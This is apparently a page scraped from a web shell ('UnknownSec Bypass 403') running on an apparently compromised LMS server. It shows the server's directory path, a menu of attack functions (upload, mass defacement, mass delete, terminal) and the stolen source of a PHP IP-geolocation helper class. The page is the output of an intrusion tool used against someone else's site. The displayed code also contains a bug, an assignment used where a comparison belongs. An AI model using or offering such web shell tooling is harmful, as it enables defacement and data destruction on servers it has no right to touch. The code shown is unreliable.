UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_d5be14f5abaa
/
app
/
Helpers
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
IPInfoDB.php
<?php namespace EstudioLMS\Helpers; /** * Class IPInfoDB * @package EstudioLMS\Helpers */ class IPInfoDB { protected $apiKey; /** * IPInfoDB constructor. * @param $apiKey */ public function __construct($apiKey) { if (!preg_match('/^[0-9a-z]{64}$/', $apiKey)) { throw new \Exception('Invalid IPInfoDB API key.'); } $this->apiKey = $apiKey; } /** * @param $ip * @return false|mixed */ public function getCountry($ip) { $response = @file_get_contents('http://api.ipinfodb.com/v3/ip-country?key=' . $this->apiKey . '&ip=' . $ip . '&format=json'); $json = json_decode($response, true); if ($json['countryCode'] = '-') { \Log::error($json['statusMessage']); } return $json; } /** * @param $ip * @return false|mixed */ public function getCity($ip) { $response = @file_get_contents('http://api.ipinfodb.com/v3/ip-city?key=' . $this->apiKey . '&ip=' . $ip . '&format=json'); $json = json_decode($response, true); return $json; } }
Copyright © 2026 - UnknownSec